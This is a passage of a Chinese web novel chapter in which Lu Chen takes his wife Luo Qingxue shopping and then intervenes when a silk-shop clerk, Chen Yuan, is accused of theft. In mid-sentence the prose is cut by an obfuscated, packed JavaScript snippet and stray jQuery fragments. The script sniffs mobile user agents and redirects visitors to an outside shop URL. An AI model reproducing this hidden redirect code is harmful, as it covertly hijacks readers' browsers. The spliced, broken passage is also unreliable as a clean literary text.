陆宸并未就此打住,又拉着洛晴雪进了一家首饰铺子。
铺子里的珠钗环佩,琳琅满目,几乎要晃花人的眼。
洛晴雪的目光落在了一支白玉兰花簪上,那簪子雕工精巧,花瓣层层叠叠,栩栩如生。
她只是多看了一眼,陆宸便已对掌柜道:“这支,还有那对赤金缠丝的镯子,一并包起来。”
洛晴雪还来不及阻止,掌柜已经麻利地打包好了。
接着,他们又逛了绸缎庄。
陆宸为她挑了好几匹时下最流行的云锦和蜀锦,颜色从嫩绿到水红,皆是衬她肤色的明亮色彩。
洛晴雪看着他毫不犹豫付钱的样子,心里又甜又急。
这些东西,哪一样不是价值不菲,父皇的赏赐虽多,可也不能这般流水似的往外花。
她拉了拉他的衣袖。
“夫君,够了,已经买了很多了。”
小青跟在后面,两只手早就被大包小包占满,连走路都有些踉跄。
陆宸自己手上也提着好几个锦盒,闻言却浑不在意地笑了笑。
“这才哪到哪。”
“我还要带你去京城最大的书局看看,你不是最爱看书吗?”
他记得她常年困于府中,唯一的消遣便是看书。
洛晴雪连忙摆手,脸上的神情带着一抹央求。
“不了不了,我有些累了,咱们回府吧。”
她是真的觉得太破费了,这花钱的速度,金山银山也经不住。
看着她眼中的坚持,陆宸终究还是妥协了。
他知道她是心疼钱,也罢,来日方长。
“好,都听你的。”
“我们回府。”
两人重新上了马车,小青将大包小包的东西安置好,也跟着坐了进来。
马车缓缓启动,隔绝了外界的喧嚣。
车厢内,只余下淡淡的温馨。
洛晴雪靠在软垫上,回味着今日的种种,唇角不自觉地勾起。
这是她有生以来,最快乐的一天。
就在这时,马车外忽然传来一阵激烈的争吵声,打破了车厢内的宁静。
洛晴雪好奇地掀开车帘一角,朝外望去。
只见不远处一家名为锦华轩的绸缎庄门口,里三层外三层地围满了人。
一道尖利刻薄的声音从人群中传出。
“陈远!我平日待你不薄,你竟敢监守自盗!”
一个穿着体面的中年男人,正指着一个青衫文士的鼻子,气得浑身发抖。
他便是锦华轩的掌柜。
“账上无缘无故少了三十两银子,我从你存放私物的抽屉里,就搜出了二十两!”
“你还有什么好说的!”
那名叫陈远的青衫文士,年约三旬,面容清瘦。
面对掌柜的质问,他的身形有些摇晃,却依旧努力站稳,维持着读书人的体面。
“掌柜的,我陈远在锦华轩干了整整五年,向来兢兢业业,从未做过任何逾矩之事!”
“这银子不是我拿的!定是有人栽赃陷害!”
掌柜闻言发出一声冷笑,根本不信他的说辞。
“栽赃陷害?这铺子里里外外的钥匙,一把在你身上,一把在我身上,除了你我,还有谁能打开柜子?”
“银子又是在你的抽屉里找到的,人赃并获,你还敢狡辩!”
他脸上满是厌恶。
“我已经是看在往日的情分上,才仁至义尽,不将你扭送官府,你别不知好歹!”
“现在,立刻给我滚出锦华轩!”
周围的看客们顿时议论纷纷,对着陈远指指点点。
“啧啧,看着斯斯文文的,没想到是个手脚不干净的。”
“就是,连东家的钱都偷,真是喂不熟的白眼狼。”
“知人知面不知心啊。”
马车里,洛晴雪听着那些刺耳的议论,心头涌上一阵不忍。
她看向身旁的陆宸,迟疑道:“夫君,我觉得那陈远举手投足间自有一股风骨,看着不像会行偷盗之事。”
陆宸回想起刚才发生的一幕。
他摸了摸下巴,觉得此事或许另有隐情。
而且,那陈远临危不乱,逻辑清晰,极力自辩而非一味哭求,显见心性坚韧且有头脑。
自己正愁缺少一个可靠的账房先生来管理财务,这不就送上门来了么?
他对上洛晴雪带着询问的眼眸,拍了拍她的手背。<b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682071|188790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“你在此处等我,我去看看。”
洛晴雪点了点头,乖巧地应下。
“那你小心些。”
陆宸微微一笑,推开车门,下了马车。
锦华轩门口,掌柜见陈远还杵在那儿,愈发不耐烦,对着旁边的伙计使了个眼色。
“还愣着干什么?把他给我赶出去!”
陈远还想再辩解几句,他不能背着窃贼的污名离开。
“东家,我……”
掌柜却不给他任何机会,恶狠狠地打断他。
“你再胡搅蛮缠,我便立刻将你扭送官府!到时可就不是丢了差事这么简单了!”
官府二字,瞬间压垮了陈远最后的希望。
他一旦被送官,无论有罪无罪,这辈子都完了。
就在这时,一道清朗的声音,穿透了嘈杂的人群。
“且慢。”
众人不约而同地循声望去。
只见一个身着月白锦袍的年轻公子,不知何时已挤出人群,站到了场中。
他身姿挺拔,气度雍容,俊朗的面容上带着一抹淡然的微笑。
陆宸的目光扫过一脸错愕的掌柜和面露绝望的陈远,最后停在掌柜身上。
他拱了拱手,不疾不徐地开口。
“在下有一言,或可解此僵局。”
掌柜正在气头上,见一个不知从哪里冒出来的公子哥儿横插一脚,顿时没了好脸色。
他上下打量了陆宸一番,见他衣着不凡,倒也不敢太过放肆,只是语气里满是不耐。
“这位公子,此乃本店私事,还请不要多管闲事。”
陆宸闻言,面上笑容不减,仿佛丝毫未曾听出他话中的驱赶之意。
“掌柜的说人赃并获。”
“这赃,是指在陈先生存放私物的抽屉里,搜出了二十两银子,可对?”
掌柜被他这不紧不慢的态度弄得一愣,下意识点了点头。
“正是!”
陆宸颔首,话锋陡然一转。
“那敢问掌柜,账上亏空的,究竟是三十两,还是二十两?”
掌柜的神情又是一滞。
他想不明白,这人为何要揪着数目不放。
“自然是三十两!”